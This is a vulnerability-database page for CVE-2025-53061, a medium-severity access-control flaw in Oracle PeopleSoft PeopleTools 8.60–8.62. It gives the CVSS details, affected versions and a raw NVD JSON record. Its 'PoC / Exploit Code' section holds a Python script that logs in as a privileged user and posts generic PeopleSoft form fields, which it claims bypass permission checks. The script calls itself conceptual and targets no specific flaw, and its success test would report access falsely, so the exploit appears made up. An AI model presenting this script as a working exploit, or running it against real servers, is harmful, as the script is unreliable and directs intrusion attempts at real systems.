Security Vulnerability Report
中文
CVE-2025-53061 CVSS 5.5 MEDIUM

CVE-2025-53061

Published: 2025-10-21 20:20:46
Last Modified: 2025-10-28 16:17:18

Description

Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PIA Core Technology). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N).

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:*:*:*:*:*:*:*:* - VULNERABLE
Oracle PeopleSoft Enterprise PeopleTools 8.60
Oracle PeopleSoft Enterprise PeopleTools 8.61
Oracle PeopleSoft Enterprise PeopleTools 8.62

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-53061 PoC - Oracle PeopleSoft PIA Core Technology Vulnerability # This is a conceptual PoC demonstrating the attack pattern # Note: Actual exploitation requires valid high-privilege credentials import requests class PeopleSoftPIAExploit: """ PoC for CVE-2025-53061 Oracle PeopleSoft Enterprise PeopleTools PIA Core Technology Affected versions: 8.60, 8.61, 8.62 """ def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.session = requests.Session() self.username = username self.password = password self.csrf_token = None def authenticate(self): """Authenticate to PeopleSoft PIA portal with high-privilege credentials""" login_url = f"{self.target_url}/psp/ps/?cmd=login&languageCd=ENG" # Step 1: Get initial page and extract CSRF token response = self.session.get(login_url) self.csrf_token = self._extract_csrf_token(response.text) # Step 2: Submit login credentials login_data = { 'userid': self.username, 'pwd': self.password, 'csrfToken': self.csrf_token, 'submit': 'Sign In' } response = self.session.post( login_url, data=login_data, allow_redirects=True ) return 'PSHOME' in response.url or response.status_code == 200 def exploit_unauthorized_access(self, target_component, action='read'): """ Exploit the PIA Core Technology vulnerability to perform unauthorized data operations """ # Target PIA Core Technology component endpoint exploit_url = f"{self.target_url}/psp/ps/EMPLOYEE/CRM/c/{target_component}.{target_component}.GBL" # Craft request to bypass insufficient permission checks exploit_params = { 'ICType': 'Panel', 'ICElementNum': '0', 'ICStateNum': '1', 'ICAction': action.upper(), 'ICXPos': '0', 'ICYPos': '0', 'ICFocus': '', 'ICSaveWarningFilter': '0', 'ICChanged': '-1', 'ICResubmit': '0', 'ICSID': self._get_session_id(), 'ICActionPrompt': 'false' } response = self.session.post(exploit_url, data=exploit_params) return { 'status': response.status_code, 'content_length': len(response.content), 'accessible': self._check_unauthorized_access(response.text) } def _extract_csrf_token(self, html_content): """Extract CSRF token from HTML page""" import re match = re.search(r'csrfToken["\s]*[=:]["\s]*([a-zA-Z0-9_-]+)', html_content) return match.group(1) if match else '' def _get_session_id(self): """Get current session ID from cookies""" return self.session.cookies.get('PS_TOKEN', '') def _check_unauthorized_access(self, response_text): """Check if unauthorized access was successful""" indicators = [ 'RECORD_NOT_FOUND', 'PERMISSION_DENIED', 'ACCESS_DENIED' ] return not any(indicator in response_text for indicator in indicators) # Usage example (for security testing purposes only) if __name__ == "__main__": exploit = PeopleSoftPIAExploit( target_url="https://target-peoplesoft.example.com:8443", username="high_priv_user", password="valid_password" ) if exploit.authenticate(): print("[+] Authentication successful") # Attempt unauthorized data access via PIA Core Technology result = exploit.exploit_unauthorized_access( target_component="COMPONENT_DATA", action="READ" ) print(f"[+] Exploit result: {result}") else: print("[-] Authentication failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-53061", "sourceIdentifier": "[email protected]", "published": "2025-10-21T20:20:46.207", "lastModified": "2025-10-28T16:17:18.020", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: PIA Core Technology). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. While the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:peoplesoft_enterprise_peopletools:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.60", "versionEndIncluding": "8.62", "matchCriteriaId": "9FDC7CAF-BD83-4D24-B199-0438570DDB47"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpuoct2025.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}